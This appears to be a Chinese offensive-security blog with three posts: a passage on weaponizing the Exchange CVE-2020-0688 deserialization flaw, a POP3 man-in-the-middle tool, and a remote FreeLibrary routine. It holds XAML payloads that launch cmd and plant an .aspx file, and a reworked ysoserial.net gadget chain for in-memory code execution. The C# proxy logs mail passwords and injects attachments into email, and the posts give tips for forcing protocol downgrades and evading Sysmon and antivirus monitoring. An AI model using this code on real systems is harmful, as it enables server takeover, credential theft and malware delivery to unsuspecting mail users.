<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:System="clr-namespace:System;assembly=mscorlib" 
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>"/c cd %ExchangeInstallPath% &amp;&amp; echo . > ClientAccess\ecp\LiveIdError.aspx"</System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:io="clr-namespace:System.IO;assembly=mscorlib">
  <ObjectDataProvider x:Key="x" ObjectType="{x:Type io:File}" MethodName="WriteAllText">
    <ObjectDataProvider.MethodParameters>
      <s:String>C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\LiveIdError.aspx</s:String>
      <s:String></s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>

编译执行访问，均可在ecp目录创建LiveIdError.aspx文件。

0x43 优化文件写入

显然，粗暴的方式有着各种各样的缺点，对于完美主义者，还需要找到其他方式进行规避。

我们现在已知绝对路径存放于%ExchangeInstallPath%，那么只要将其取出作为ObjectDataProvider.MethodParameters的第一个参数即可。但通过ObjectDataProvider调用方法的后，存放于ResourceDictionary中的实际上还是一个ObjectDataProvider实例，直接将其作为参数传入会抛出异常，所以需要一个能够调用方法且返回类型本身的方式。

在查询xaml官方文档后可以找到x:FactoryMethod指令，该指令用于对象初始化。其实现为通过调用静态方法并强制转换为xaml元素指定的对象类型，完全符合需求。

那么解决方案也就很简单了：在s:String元素上以FactoryMethod方式调用[mscorlib]System.Environment::GetEnvironmentVariable获取安装路径，之后以同样方式调用[mscorlib]System.String.Concat拼接文件名，最后调用AppendAllText写入文件。

完整的xaml如下：

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib"
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <s:String x:Key="a" x:FactoryMethod="s:Environment.GetEnvironmentVariable" x:Arguments="ExchangeInstallPath"/>
  <s:String x:Key="b" x:FactoryMethod="Concat">
    <x:Arguments>
      <StaticResource ResourceKey="a"/>
      <s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String>
    </x:Arguments>
  </s:String>
  <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey="b"/>
      <s:String></s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/>
</ResourceDictionary>

此xaml等同于以下C#代码：

string a=Environment.GetEnvironmentVariable("ExchangeInstallPath");
string b=string.Concat(a,"\ClientAccess\ecp\LiveIdError.aspx");
File.AppendAllText(b,"");
HttpContext.Current.Response.End();

编译执行访问，可在未知绝对路径的情况下无感知地创建我们需要的空白文件。

0x44 高级操作与ysoserial.net缺陷

通过第一阶段创建的白名单文件，可以将不足2048字节的payload拓展到IIS默认的4M上限，这样我们就能通过更大的payload进行高级操作。

所谓高级操作，就是以不落地的方式在当前进程内存中执行任何操作，包括但不限于执行命令并回显、读写文件、加载ShellCode、后渗透等等。在.net无限制反序列化的环境前提下，可以通过ObjectSerializedRef反序列化LinqIterator对象在内存中加载.net程序集并实例化，最终实现任意代码执行。这个方式在yssoserial.net中以ActivitySurrogateSelectorGenerator和ActivitySurrogateSelectorFromFileGenerator进行实现。

ActivitySurrogateSelectorFromFileGenerator提供一个将C#源码编译为程序集并在远程加载的功能，首先创建以下测试代码：

class E
{
  public E()
  {
    try
    {
      System.Diagnostics.Process.Start("notepad");
      System.Web.HttpContext.Current.Response.Write("exploit!");
      System.Web.HttpContext.Current.Response.End();
    }
    catch{}
  }
}

之后执行以下命令生成payload。这里注意，为了保证测试效果防止提前踩坑，请暂时在目标Exchange服务器上执行：

ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c exploitclass.cs;System.Web.dll;System.dll >o.dat

修改之前的反序列化测试程序，编译执行访问，不出意外的话可以得到以下结果：

成功创建子进程notepad，回显输出exploit!，表明上述代码已经在远程执行。接下来对代码进行自定义修改即可进行任何操作，例如命令回显、ShellCode等等。

看似一切完美？其实并不。现在可以打开C:\Windows\Microsoft.NET\Framework64\v4.0.30319目录，查看System.Core.dll的文件版本。例如当前测试环境为4.7.3362.0，表示fx版本为4.7.x。

下面来模拟真实环境远程生成payload。真实环境下不可能知道对方的fx版本（返回头中的版本号永远都是4.0.30319），所以常规做法是通过ysoserial.net直接生成一个payload并发送。

例如通过同样的方式，在文件版本4.6.1098.0（对应fx版本4.6.x）的环境下能够成功生成payload，但继续编译执行访问，不会得到任何结果。

如果将这个payload复制到Exchange服务器并使用以下Powershell脚本进行测试，会得到一个TypeLoadException：

$fmt=new-object System.Runtime.Serialization.Formatters.Binary.BinaryFormatter;
$mft.Deserialize((new-object System.IO.FileStream("o.dat",'Open','Read')));

根据错误信息对应到[System.Core]System.Linq.Enumerable类，可以看到在fx 4.7.x的程序集中这个类的名称由Enumerable+<SelectManyIterator>d__16变成了Enumerable+<SelectManyIterator>d__17。

反序列化时找不到类型自然无法创建实例，最终导致利用失败。

0x45 构造完美的反序列化数据

解决这个问题需要结合ActivitySurrogateSelectorGenerator以及LinqIterator的源码进行分析。

首先要理解ActivitySurrogateSelectorGenerator的工作原理，其逻辑非常简单：通过linq调用，顺序执行Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type)，从而实例化由字节数组存储的程序集中定义的类，达到代码执行的效果。整体流程大致等价为以下C#代码：

foreach(byte[] data in byte[][])
{
  foreach(Type t in Assembly.Load(data).GetTypes())
  {
    Activator.CreateInstance(t);
  }
}

而序列化保存的数据大部分都是在Linq调用过程中用于返回数据的迭代器或枚举器。

之后，在ilspy中查找Enumerable+<SelectManyIterator>d__17的引用，可发现在System.Linq.Enumerable.SelectManyIterator方法进行调用，反编译可以看到以下代码：

可以看到是一个迭代器语法糖，很明显是由编译器自动生成的状态机类。实际上，类型名中的16/17为编译期间由编译器内部维护的一个序号，随着自动生成的类增加而增长，所以在不同版本的fx中不一定相同。

为了避免这样的问题，继续查找是哪个调用导致将此对象写入了序列化数据中。迭代器的上级调用有且只有System.Linq.Enumerable.SelectMany，而这正是在ActivitySurrogateSelectorGenerator中调用的拓展方法：

var e2 = e1.SelectMany(map_type);

现在最后的问题就转换成了如何将SelectMany替换为其他等价表达式。根据代码以及生成的数据可以知道，Where表达式/拓展方法返回的WhereSelectEnumerableIterator不会调用自动生成的类，是一个较好的序列化目标。

WhereSelectEnumerableIterator中包含两个委托selector和predicate。其中selector的签名为Func<T,R>，可以调用诸如Assembly.Load等静态方法将一个对象转换为另外的对象，或是在一个对象实例上调用无参方法；predicate的签名为Func<T,bool>，会作为条件判断在selector之前进行调用。

缺失的调用链中GetTypes返回一个Type数组，由[mscorlib]System.Array基类实现IEnumerable接口，于是可以调用GetEnumerator方法，获取一个IEnumerator对象。通过获取IEnumerator对象的Current属性，可以得到Type实例，在获取之前需要调用MoveNext方法，该方法的签名恰好和predicate匹配。

所以最后不难得出以下调用链：

Activator.CreateInstance(Assembly.Load(byte[]).GetTypes().GetEnumerator().{MoveNext(),get_Current()})

对应的代码为：

static IEnumerable<TResult> GetEnum<TSource,TResult>
(
    IEnumerable<TSource> src,
    Func<TSource, bool> predicate,
    Func<TSource, TResult> selector
)
{
  Type t=Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
    .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
    .MakeGenericType(typeof(TSource),typeof(TResult));
  return t.GetConstructors()[0].Invoke(new object[]{src,predicate,selector}) as IEnumerable<TResult>;
}
IEnumerable<Assembly> e2=GetEnum<byte[],Assembly>(new byte[][]{File.ReadAllBytes("RemoteStub.dll")},null,Assembly.Load);
IEnumerable<IEnumerable<Type>> e3=GetEnum<Assembly,IEnumerable<Type>>(e2,
    null,
    (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
        (
            typeof(Func<Assembly, IEnumerable<Type>>), 
            typeof(Assembly).GetMethod("GetTypes")
        )
);
IEnumerable<IEnumerator<Type>> e4 = GetEnum<IEnumerable<Type>,IEnumerator<Type>>(e3,
    null,
    (Func<IEnumerable<Type>,IEnumerator<Type>>)Delegate.CreateDelegate
    (
        typeof(Func<IEnumerable<Type>,IEnumerator<Type>>), 
        typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
    )
);
IEnumerable<Type> e5 = GetEnum<IEnumerator<Type>,Type>(e4,
    (Func<IEnumerator<Type>,bool>)Delegate.CreateDelegate
    (
        typeof(Func<IEnumerator<Type>,bool>), 
        typeof(IEnumerator).GetMethod("MoveNext")
    ),
    (Func<IEnumerator<Type>,Type>)Delegate.CreateDelegate
    (
        typeof(Func<IEnumerator<Type>,Type>), 
        typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
    )
);
PagedDataSource pds = new PagedDataSource() { DataSource = e5 };
//....
ls.Add(e1);
ls.Add(e2);
# ls.Add(e3);
ls.Add(e4);
ls.Add(e5);
ls.Add(pds);
//....

注意，通过链式Select会调用WhereSelectEnumerableIterator.Select方法，此方法的调用过程中使用了lambda表达式，同样会导致序列化编译器自动生成的类，所以只能通过反射进行创建。RemoteStub.dll为需要在远程加载执行的dll。

修改ActivitySurrogateSelectorGenerator并重新生成payload，其中不再包含任何自动生成类。编译执行访问成功加载执行我们指定的程序集，至此漏洞利用圆满达成。

0x50 Exp

有了上述研究结论，编写出更为通用的exp也就不难了，可以在github进行下载。

其中ExchangeDetect为检测程序，原理基于0x31一节所述，可以在CoreCLR环境下运行。仅支持单个检测，存在漏洞的话ExitCode将返回4。如果需要批量检测请自行修改或判断返回值。

执行结果如图所示：

ExchangeCmd为Exp，支持命令执行和远程ShellCode加载，其原理基于0x41-0x45小节所述。第一阶段通过反序列化写入空白LiveIdError.aspx，第二阶段通过向此文件发送最终的Payload加载指定自定义dll，达到代码执行。

执行成功后会返回一个伪交互式命令行，其支持的命令如下：

exec <cmd> [args]
  exec command

arch
  get remote process architecture(for shellcode)

shellcode <shellcode.bin>
  run shellcode

exit
  exit program

在本地测试环境执行的结果如图所示：

RemoteStub为此Exp发送的dll，所有的交互都已进行加密，其执行whoami /all产生的数据如图所示：

Github: http://github/zcgonvh/CVE-2020-0688

附件： CVE-2020-0688的武器化与.net反序列化漏洞那些事.pdf

CVE-2020-0688.rar

解压密码见注释。

POP3 MITM思路与简单实现

Fri, 13 Dec 2019 00:51:41 +0800

文章代码仅限技术交流使用，请遵守国家相关法规。

因使用不当造成的问题与本人无关。

渗透中有时会遇到控制DNS或路由交换设备的场景，此时我们可以发动中间人攻击。

大多数时候，中间人攻击是面向浏览器的，由于HTTPS与HSTS的普及，现在已经不能取得较好的结果。

而在实际的办公网络中，邮件客户端与对应的POP/IMAP/SMTP协议也极为常见。从社工的角度看，对可信发件人的邮件进行篡改的成功率会更高于浏览器钓鱼。

同时，绝大部分邮件客户端在自动查找服务器时会尝试所有协议，大部分客户端和服务器均没有强制SSL的要求，这在对方使用POP3S（995端口）时尝试进行降级也是非常有利的条件。

0x01 原理

POP协议和HTTP类似，同样属于早期的纯文本协议，一封EML邮件和一个HTTP POST包并没有本质区别。实际上，包含附件的EML和HTTP上传文件的multipart包几乎一模一样。

所以只要将multipart的结束标志替换为一个attachment块即可：

唯一要注意的是一个小区别：

multipart/alternative格式的邮件包含文本和html两个部分，其中html部分为现代邮件客户端显示的内容，文本部分为老式邮件客户端显示的内容，其他部分（如附件等）将被忽略。

而现在绝大部分的邮件客户端在处理multipart/relative格式时提供了针对multipart/alternative格式的兼容性，所以针对类似情况，在处理时还需要将邮件头中的Content-Type修改为multipart/relative。

0x02 简单实现

下面（简陋的）的代码实现了以下两个功能：

针对客户端：记录用户名密码。

针对服务器：修改multipart类型的邮件，注入一个自己的附件。

（注：由于没有好用的解析库，暂时不支持纯文本/纯HTML邮件。）

using System;
using System.Text;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace Zcg.Tests
{
    class PopFuckProxy
    {

        enum state
        {
            header,
            replace
        }
        static string fn = "";
        static string b64 = "";

        static void Main(string[] args)
        {
            Console.WriteLine("POP3 MITM tool v0.1");
            Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
            try
            {
                if (args.Length > 4)
                {
                    fn = args[4];
                    b64 = Convert.ToBase64String(File.ReadAllBytes(fn), Base64FormattingOptions.InsertLineBreaks);
                    fn=Path.GetFileName(fn);
                }
                TcpListener tl = new TcpListener(IPAddress.Parse(args[0]), int.Parse(args[1]));
                tl.Start();
                while (true)
                {
                    NetworkStream nsc = tl.AcceptTcpClient().GetStream();
                    TcpClient tc = new TcpClient();
                    tc.Connect(args[2], int.Parse(args[3]));
                    NetworkStream nss = tc.GetStream();
                    new Thread(Read).Start(new object[] { nsc, nss });
                    new Thread(Write).Start(new object[] { nsc, nss });
                }
            }
            catch (Exception ex)
            {
                if (ex is IndexOutOfRangeException || ex is FormatException)
                {
                    Console.WriteLine("usage: PopFuckProxy <lhost> <lport> <rhost> <rport> [attachment]");
                }
                else
                {
                    Console.WriteLine(ex);
                }
            }
        }
        static void Read(object o)
        {
            try
            {
                object[] obj = o as object[];
                NetworkStream nsc = obj[0] as NetworkStream;
                NetworkStream nss = obj[1] as NetworkStream;
                StreamReader sr = new StreamReader(nsc);
                StreamWriter sw = new StreamWriter(nss);
                sw.AutoFlush = true;
                string s = sr.ReadLine();
                while (s != null)
                {
                    if (s.StartsWith("USER"))
                    {
                        Console.WriteLine("[!] " + s);
                    }
                    else if (s.StartsWith("PASS"))
                    {
                        Console.WriteLine("[!] " + s);
                    }
                    sw.WriteLine(s);
                    s = sr.ReadLine();
                }
            }
            catch { }
        }
        static void Write(object o)
        {
            try
            {
                object[] obj = o as object[];
                NetworkStream nsc = obj[0] as NetworkStream;
                NetworkStream nss = obj[1] as NetworkStream;
                StreamWriter sw = new StreamWriter(nsc);
                sw.AutoFlush = true;
                StreamReader sr = new StreamReader(nss);
                state stat = state.header;
                string boundary = "";
                string boundarye = "";
                string s = sr.ReadLine();
                while (s != null)
                {
                    switch (stat)
                    {
                        case state.header:
                            {
                                if (boundarye != "" && s == "")
                                {
                                    stat = state.replace;
                                }
                                else if (s.StartsWith("Content-Type") && s.IndexOf("multipart/") > 0)
                                {
                                    if (s.IndexOf("multipart/alternative") > 0)
                                    {
                                        s = s.Replace("multipart/alternative", "multipart/relative");
                                    }
                                    if (s.IndexOf("boundary=") < 0)
                                    {
                                        sw.WriteLine(s);
                                        s = sr.ReadLine();
                                    }
                                    var arr = s.Split(new string[] { "boundary=" }, 2, StringSplitOptions.RemoveEmptyEntries);
                                    if (arr.Length == 2)
                                    {
                                        boundary = "--" + arr[1].Trim(' ', '\t', '\'', '"');
                                        boundarye = boundary + "--";
                                        stat = state.replace;
                                    }
                                }
                                else if (s.StartsWith("Subject"))
                                {
                                    Console.WriteLine("[+] " + s);
                                }
                                sw.WriteLine(s);
                                break;
                            }
                        case state.replace:
                            {
                                if (s == boundarye && fn != "")
                                {
                                    sw.WriteLine(boundary);
                                    sw.WriteLine("Content-Type: application/octet-stream;");
                                    sw.WriteLine("    charset=\"utf-8\";");
                                    sw.WriteLine("    name=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
                                    sw.WriteLine("Content-Disposition: attachment; filename=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
                                    sw.WriteLine("Content-Transfer-Encoding: base64");
                                    sw.WriteLine();
                                    sw.WriteLine(b64);
                                    sw.WriteLine(boundarye);
                                    stat = state.header;
                                    boundarye = "";
                                    Console.WriteLine("[!] Attachment added!");
                                }
                                else
                                {
                                    sw.WriteLine(s);
                                }
                                break;
                            }
                    }
                    s = sr.ReadLine();
                }
            }
            catch { }
        }
    }
}

编译：

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc POPFuckProxy.cs
#dotnet core环境下请自行创建工程复制粘贴。

0x03 测试效果

如图所示，客户端通过11110端口进行POP3协议收信，用户名和密码已被记录，同时邮件附件被添加了指定的data.rar。

0x04 真实场景的一些Tips

1.鉴于场景大多时候是通过DNS、路由等方式，将流量重定向到自己的vps或服务器。所以此时端口也要改成110，以防客户端找不到端口的问题。

2.尽量不要用其他工具代理143、995、993三个端口，这样在对方自动发现尝试时可以“强迫”降级到POP3；25和465最好进行代理，防止影响目标使用。

3.可以在处于state.header状态时检查From、Subject，根据关键词或发件者(以及发件者备注)来进行更精确的投放。

4.可以在代码中新建两个StreamWriter，把流量保存到文件，或者魔改OpenPOP等库把邮件本体进行导出。当然如果图省事也可以用tcpdump+tshark。

Github：https://github.com/zcgonvh/POPFuckProxy

Release：懒得打包加密了，自己编译吧~

RemoteFreeLibrary

Sat, 26 Oct 2019 00:06:02 +0800

朋友遇到个环境：命令行程序被杀软注入dll到自身的conhost中（猜测是年初火眼公开的命令行输出监控？），需要对远程进程调用FreeLibrary，简单封装了个函数，勉强能用。

typedef NTSTATUS(WINAPI * _RtlCreateUserThread)(
    HANDLE      ProcessHandle,
    PSECURITY_DESCRIPTOR  SecurityDescriptor,
    BOOL      CreateSuspended,
    ULONG     StackZeroBits,
    PULONG     StackReserved,
    PULONG     StackCommit,
    LPVOID     StartAddress,
    LPVOID     StartParameter,
    PHANDLE      ThreadHandle,
    LPVOID     ClientID
    );
typedef ULONG(WINAPI * _RtlNtStatusToDosError)(
    NTSTATUS Status
);
BOOL RemoteFreeLibrary(HANDLE hProc, LPWSTR pwszModule)
{
    if (!hProc) { return false; }
    if (!pwszModule) { return false; }
    HMODULE hm = LoadLibraryW(pwszModule);
    if (!hm) { return false; }
    HANDLE ht = 0;
    HMODULE hmNtdll = GetModuleHandle(L"ntdll.dll");
    _RtlCreateUserThread RtlCreateUserThread = (_RtlCreateUserThread)GetProcAddress(hmNtdll, "RtlCreateUserThread");
    _RtlNtStatusToDosError RtlNtStatusToDosError= (_RtlNtStatusToDosError)GetProcAddress(hmNtdll, "RtlNtStatusToDosError");
    if (!RtlCreateUserThread || !RtlNtStatusToDosError){ return false; }
    NTSTATUS status = RtlCreateUserThread(hProc, 0, false, 0, 0, 0, FreeLibrary, hm, &ht, 0);
    if (!NT_SUCCESS(status))
    {
        SetLastError(RtlNtStatusToDosError(status));
        return false;
    }
    CloseHandle(ht);
    return true;
}

调用：

EnablePrivilge(SE_DEBUG_NAME);
HANDLE hProc = OpenProcess(MAXIMUM_ALLOWED, false, pid);
if(hProc)
{
  RemoteFreeLibrary(L"dbgeng.dll");
}

测试程序：

#include <Windows.h>

int main()
{
    LoadLibraryW(L"dbgeng.dll");
    printf("%d\n",GetCurrentProcessId());
    while (true)
    {
        printf("hm= %#p\n",GetModuleHandleW(L"dbgeng.dll"));
        Sleep(1000);
    }
    return 0;
}

实战使用时需要注意的几点：

1.没加入wow64到x64的切换。考虑到实战中x64环境以及工具居多，遇到再说吧。

2.同Session用CreateRemoteThread也可以，不过无论是CreateRemoteThread或是RtlCreateUserThread基本属于会被监控的API范畴，比如大规模部署的sysmon……最好的方法还是手动加载ntdll，构造NtCreateThread的stub，必要时候切换到x64，最后调用。这样至少能规避r3层面的监控吧……

3.OpenProcess也较为敏感，找一些黑科技代替吧。